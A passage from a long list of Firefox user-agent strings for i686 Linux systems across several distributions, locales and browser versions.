Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080410 SUSE/2.0.0.14-0.1 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.16) Gecko/20080718 Ubuntu/8.04 (hardy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.19) Gecko/20081213 SUSE/2.0.0.19-0.1 Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061205 Firefox/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.1) Gecko/20061220 Firefox/2.0.0.1 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.22pre) Gecko/20090327 Ubuntu/7.10 (gutsy) Firefox/2.0.0.22pre Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20060911 SUSE/2.0.0.5-1.2 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8.1.5) Gecko/20070713 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.13) Gecko/20101209 CentOS/3.6-2.el5.centos Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.15) Gecko/20110330 CentOS/3.6-1.el5.centos Firefox/3.6.15 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110615 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.21) Gecko/20110830 Ubuntu/10.10 (maverick) Firefox/3.6.21 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.13) Gecko/20060418 Fedora/1.0.8-1.1.fc4 Firefox/1.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.12) Gecko/20070718 Fedora/1.5.0.12-4.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-2.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.16) Gecko/20080715 Ubuntu/7.10 (gutsy) Firefox/2.0.0.16 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.2pre) Gecko/20061023 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6 Mozilla/5.0 (X11;U; Linux i686; en-GB; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.18) Gecko/20110628 Ubuntu/10.10 (maverick) Firefox/3.6.18 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:2.0) Gecko/20110404 Fedora/16-dev Firefox/4.0 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.11) Gecko/20071216 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; en; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040225 Firefox/0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050715 Firefox/1.0.6 SUSE/1.0.6-16 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050719 Red Hat/1.0.6-1.4.1 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc3 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050720 Fedora/1.0.6-1.1.fc4.k12ltsp.4.4.0 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050815 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050911 Firefox/1.0.6 (Debian package 1.0.6-5) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050918 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050920 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050921 Firefox/1.5.0.2 Mandriva/1.0.6-15mdk (2006.0) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051106 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20051111 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060410 Firefox/1.0.8 Mandriva/1.0.6-16.5.20060mdk (2006.0) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20060927 Firefox/1.0.4 (Debian package 1.0.4-2sarge12) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20061113 Firefox/1.0.4 (Debian package 1.0.4-2sarge13) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070116 Firefox/1.0.4 (Debian package 1.0.4-2sarge15) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20070530 Firefox/1.0.4 (Debian package 1.0.4-2sarge17) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.4 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060411 Firefox/1.0.8 SUSE/1.0.8-0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060413 Red Hat/1.0.8-1.4.1 Firefox/1.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041117 Firefox/1.0 (Debian package 1.0-2.0.0.45.linspire0.4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041128 Firefox/1.0 (Debian package 1.0-4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041204 Firefox/1.0 (Debian package 1.0.x.2-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041215 Firefox/1.0 Red Hat/1.0-12.EL4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041218 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050210 Firefox/1.0 (Debian package 1.0+dfsg.1-6) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050221 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20050814 Firefox/1.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050310 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050311 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.6) Gecko/20050405 Firefox/1.0 (Ubuntu package 1.0.2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) Gecko/20050421 Firefox/1.0.3 (Debian package 1.0.3-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 SUSE/1.0.4-1.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050512 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Fedora/1.0.4-1.3.1 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050513 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050517 Firefox/1.0.4 (Debian package 1.0.4-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050523 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050610 Firefox/1.0.4 (Debian package 1.0.4-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040630 Firefox/0.9.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040802 Firefox/0.9.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040917 Firefox/0.9.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070216 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070221 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070223 CentOS/1.5.0.10-0.1.el4.centos Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Fedora/1.5.0.10-1.fc6 Firefox/1.5.0.10 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070226 Red Hat/1.5.0.10-0.1.el4 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070302 Ubuntu/dapper-security Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070409 CentOS/1.5.0.10-2.el5.centos Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070529 Red Hat/1.5.0.12-0.1.el4 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070530 Fedora/1.5.0.12-1.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20070719 CentOS/1.5.0.12-0.3.el4.centos Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.12) Gecko/20071126 Fedora/1.5.0.12-7.fc6 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.13pre) Gecko/20080207 Ubuntu/dapper-security Firefox/1.5.0.13pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Debian/1.5.dfsg+1.5.0.1-4 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060324 Ubuntu/dapper Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1) Gecko/20060404 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060419 Fedora/1.5.0.2-1.2.fc5 Firefox/1.5.0.2 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060326 Firefox/1.5.0.3 (Debian-1.5.dfsg+1.5.0.3-2) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060504 Fedora/1.5.0.3-1.1.fc5 Firefox/1.5.0.3 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060406 Firefox/1.5.0.4 (Debian-1.5.dfsg+1.5.0.4-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.3 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060613 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060629 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060704 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060711 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060716 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060803 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060806 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060812 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060813 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060820 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060831 Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 (Debian-1.5.dfsg+1.5.0.6-4) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-0.1 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060802 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060803 Firefox/1.5.0.6 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060807 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060905 Fedora/1.5.0.6-10 Firefox/1.5.0.6 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060911 Red Hat/1.5.0.7-0.1.el4 Firefox/1.5.0.1 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061014 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060802 Mandriva/1.5.0.8-1.1mdv2007.0 (2007.0) Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20060911 SUSE/1.5.0.8-0.2 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061107 Fedora/1.5.0.8-1.fc6 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061110 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061115 Ubuntu/dapper-security Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-0.2 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20060911 SUSE/1.5.0.9-3.2 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061215 Red Hat/1.5.0.9-0.1.el4 Firefox/1.5.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.9) Gecko/20061221 Fedora/1.5.0.9-1.fc5 